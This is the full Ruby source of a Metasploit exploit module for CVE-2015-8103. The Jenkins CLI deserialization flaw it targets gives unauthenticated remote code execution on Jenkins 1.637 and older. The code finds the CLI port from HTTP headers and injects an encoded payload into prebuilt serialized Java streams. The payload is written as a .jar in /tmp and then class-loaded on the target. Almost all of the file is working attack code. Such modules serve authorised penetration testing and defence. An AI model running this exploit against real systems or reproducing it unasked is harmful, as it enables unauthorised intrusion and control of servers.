Path: blob/master/modules/exploits/linux/misc/jenkins_java_deserialize.rb
19669 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Jenkins CLI RMI Java Deserialization Vulnerability',16'Description' => %q{17This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on18the Jenkins master, which allows remote arbitrary code execution. Authentication is not19required to exploit this vulnerability.20},21'Author' => [22'Christopher Frohoff', # Vulnerability discovery23'Steve Breen', # Public Exploit24'Dev Mohanty', # Metasploit module25'Louis Sato', # Metasploit26'wvu', # Metasploit27'juan vazquez', # Metasploit28'Wei Chen' # Metasploit29],30'License' => MSF_LICENSE,31'References' => [32['CVE', '2015-8103'],33['URL', 'https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py'],34['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'],35['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'],36['URL', 'https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2015-11-11']37],38'Platform' => 'java',39'Arch' => ARCH_JAVA,40'Targets' => [41[ 'Jenkins 1.637', {} ]42],43'DisclosureDate' => '2015-11-18',44'DefaultTarget' => 0,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)5253register_options([54OptString.new('TARGETURI', [true, 'The base path to Jenkins in order to find X-Jenkins-CLI-Port', '/']),55OptString.new('TEMP', [true, 'Folder to write the payload to', '/tmp']),56Opt::RPORT('8080')57])5859register_advanced_options([60OptPort.new('XJenkinsCliPort', [false, 'The X-Jenkins-CLI port. If this is set, the TARGETURI option is ignored.'])61])62end6364def cli_port65@jenkins_cli_port || datastore['XJenkinsCliPort']66end6768def exploit69if cli_port == 0 && !vulnerable?70fail_with(Failure::Unknown, "#{peer} - Jenkins is not vulnerable, aborting...")71end72invoke_remote_method(set_payload)73invoke_remote_method(class_load_payload)74end7576# This is from the HttpClient mixin. But since this module isn't actually exploiting77# HTTP, the mixin isn't used in order to favor the Tcp mixin (to avoid datastore confusion &78# conflicts). We do need #target_uri and normlaize_uri to properly normalize the path though.7980def target_uri81begin82# In case TARGETURI is empty, at least we default to '/'83u = datastore['TARGETURI']84u = "/" if u.nil? or u.empty?85URI(u)86rescue ::URI::InvalidURIError87print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"88raise Msf::OptionValidateError.new(['TARGETURI'])89end90end9192def normalize_uri(*strs)93new_str = strs * "/"9495new_str = new_str.gsub!("//", "/") while new_str.index("//")9697# Makes sure there's a starting slash98unless new_str[0, 1] == '/'99new_str = '/' + new_str100end101102new_str103end104105def check106result = Exploit::CheckCode::Safe107108begin109if vulnerable?110result = Exploit::CheckCode::Vulnerable111end112rescue Msf::Exploit::Failed => e113vprint_error(e.message)114return Exploit::CheckCode::Unknown115end116117result118end119120def vulnerable?121res = send_request_cgi({122'uri' => normalize_uri(target_uri.path)123})124125unless res126fail_with(Failure::Unknown, 'The connection timed out.')127end128129http_headers = res.headers130131unless http_headers['X-Jenkins-CLI-Port']132vprint_error('The server does not have the CLI port that is needed for exploitation.')133return false134end135136if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f <= 1.637137@jenkins_cli_port = http_headers['X-Jenkins-CLI-Port'].to_i138return true139end140141false142end143144# Connects to the server, creates a request, sends the request,145# reads the response146#147# Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi.148#149def send_request_cgi(opts = {}, timeout = 20)150if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0151actual_timeout = datastore['HttpClientTimeout']152else153actual_timeout = opts[:timeout] || timeout154end155156begin157c = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT'])158c.connect159r = c.request_cgi(opts)160c.send_recv(r, actual_timeout)161rescue ::Errno::EPIPE, ::Timeout::Error162nil163end164end165166def invoke_remote_method(serialized_java_stream)167begin168socket = connect(true, { 'RPORT' => cli_port })169170print_status 'Sending headers...'171socket.put(read_bin_file('serialized_jenkins_header'))172173vprint_status(socket.recv(1024))174vprint_status(socket.recv(1024))175176encoded_payload0 = read_bin_file('serialized_payload_header')177encoded_payload1 = Rex::Text.encode_base64(serialized_java_stream)178encoded_payload2 = read_bin_file('serialized_payload_footer')179180encoded_payload = "#{encoded_payload0}#{encoded_payload1}#{encoded_payload2}"181print_status "Sending payload length: #{encoded_payload.length}"182socket.put(encoded_payload)183ensure184disconnect(socket)185end186end187188def print_status(msg = '')189super("#{rhost}:#{rport} - #{msg}")190end191192#193# Serialized stream generated with:194# https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/CommonsCollections3.java195#196def set_payload197stream = Rex::Java::Serialization::Model::Stream.new198199handle = File.new(File.join(Msf::Config.data_directory, "exploits", "CVE-2015-8103", 'serialized_file_writer'), 'rb')200decoded = stream.decode(handle)201handle.close202203inject_payload_into_stream(decoded).encode204end205206#207# Serialized stream generated with:208# https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/ClassLoaderInvoker.java209#210def class_load_payload211stream = Rex::Java::Serialization::Model::Stream.new212handle = File.new(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-8103', 'serialized_class_loader'), 'rb')213decoded = stream.decode(handle)214handle.close215inject_class_loader_into_stream(decoded).encode216end217218def inject_class_loader_into_stream(decoded)219file_name_utf8 = get_array_chain(decoded)220.values[2]221.class_data[0]222.values[1]223.values[0]224.values[0]225.class_data[3]226file_name_utf8.contents = get_random_file_name227file_name_utf8.length = file_name_utf8.contents.length228class_name_utf8 = get_array_chain(decoded)229.values[4]230.class_data[0]231.values[0]232class_name_utf8.contents = 'metasploit.Payload'233class_name_utf8.length = class_name_utf8.contents.length234decoded235end236237def get_random_file_name238@random_file_name ||= "#{Rex::FileUtils.normalize_unix_path(datastore['TEMP'], "#{rand_text_alpha(4 + rand(4))}.jar")}"239end240241def inject_payload_into_stream(decoded)242byte_array = get_array_chain(decoded)243.values[2]244.class_data245.last246byte_array.values = payload.encoded.bytes247file_name_utf8 = decoded.references[44].class_data[0]248rnd_fname = get_random_file_name249register_file_for_cleanup(rnd_fname)250file_name_utf8.contents = rnd_fname251file_name_utf8.length = file_name_utf8.contents.length252decoded253end254255def get_array_chain(decoded)256object = decoded.contents[0]257lazy_map = object.class_data[1].class_data[0]258chained_transformer = lazy_map.class_data[0]259chained_transformer.class_data[0]260end261262def read_bin_file(bin_file_path)263data = ''264265File.open(File.join(Msf::Config.data_directory, "exploits", "CVE-2015-8103", bin_file_path), 'rb') do |f|266data = f.read267end268269data270end271end272273274